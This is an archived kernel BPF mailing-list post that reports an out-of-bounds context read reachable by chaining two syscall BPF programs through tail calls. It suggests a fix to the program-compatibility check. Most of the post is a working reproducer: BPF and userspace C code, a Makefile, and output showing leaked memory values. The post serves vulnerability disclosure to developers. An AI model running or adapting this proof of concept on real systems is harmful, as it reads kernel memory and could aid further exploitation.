BPF List
 help / color / mirror / Atom feed
* out of bounds context access with syscall programs + tail calls
@ 2026-11-27 11:03 ZNV
  2026-12-01 12:49 ` ZNV
  0 siblings, 1 reply; 3+ messages in thread
From: ZNV @ 2026-11-27 11:03 UTC (permalink / raw)
  To: bpf

Hi!

Verifier computes prog->aux->max_ctx_access, a buffer passed to
sys_bpf(PROG_RUN) must be at least that big (see
bpf_prog_test_run_syscall).

As far as I can tell, tail call map only enforces that the caller/callee
program types are compatible, ignoring max_ctx_access. It is possible to
chain 2 syscall programs via tail calls; the second one having a larger
max_ctx_access (reproducer follows).

I hope that the fix won't be banning bpf_tail_call in syscall programs.
It should be possible to augment compatibility check done by
bpf_prog_map_compatible. Apparently struct bpf_map_owner has an
alignment gap between .sleepable and .storage_cookie[] that is large
enough to host the 16 bit max_ctx_access.

Reproducer follows. User space invokes syscall1, which in turn
tail-calls syscall2. Syscall2 loads and returns an __u32 at ctx+8192.
Since syscall1 doesn't access ctx at all, sys_bpf(PROG_RUN) permits any
context size. User space invokes syscall1 with different context sizes
and prints the returned value. Size varies to make it less likely for
the context buffer to end up at the same address in subsequent calls,
making syscall2 sample different locations.

Example output:

0
0
ff2950a3
ff2950a3
492f3000
492f3000
7bb8
7bb8
0
0
0
0
0
0
0

k.c:
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

SEC("syscall")
int syscall2(void *ctx)
{
    bpf_printk("syscall2");
    return 2048[(int *)ctx];
}

struct {
    __uint(type, BPF_MAP_TYPE_PROG_ARRAY);
    __uint(max_entries, 1);
    __uint(key_size, sizeof(__u32));
    __uint(value_size, sizeof(__u32));
    __array(values, int (void *));
} prog_array SEC(".maps") = {
    .values = {
        [0] = &syscall2,
    },
};

SEC("syscall")
int syscall1(void *ctx)
{
    bpf_printk("syscall1");
    bpf_tail_call(ctx, &prog_array, 0);
    return 0;
}

char LICENSE[] SEC("license") = "GPL";

syscall-oob.c:
#include <stdio.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "k.skel.h"

int main(void)
{
    struct k *k = k__open_and_load();
    if (!k) {
        perror("k__open_and_load");
        return 1;
    }

    int fd = bpf_program__fd(k->progs.syscall1);
    int buf[256];
    LIBBPF_OPTS(bpf_test_run_opts, opts, .ctx_in = buf);

    for (int i = 1; i < 16; i++) {
        // do different size classes to avoid sampling the same location
        opts.ctx_size_in = i * 16;
        int rc = bpf_prog_test_run_opts(fd, &opts);
        if (rc != 0) {
            perror("bpf_prog_test_run_opts");
        } else {
            printf("%x\n", opts.retval);
        }
    }

    return 0;
}

Makefile:
syscall-oob: syscall-oob.c k.skel.h
    clang -o syscall-oob syscall-oob.c -lbpf
k.skel.h: k.o
    bpftool gen skeleton k.o > k.skel.h
k.o: k.c
    clang -g -O2 -c -target bpf k.c -isystem
/usr/include/aarch64-linux-gnu/ -isystem
/usr/include/x86_64-linux-gnu/
.PHONY:clean
clean:
    rm -f syscall-oob k.o k.skel.h

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-12-01 20:36 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-27 11:03 out of bounds context access with syscall programs + tail calls ZNV
2026-12-01 12:49 ` ZNV
2026-12-01 20:36   ` Alexei Starovoitov

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox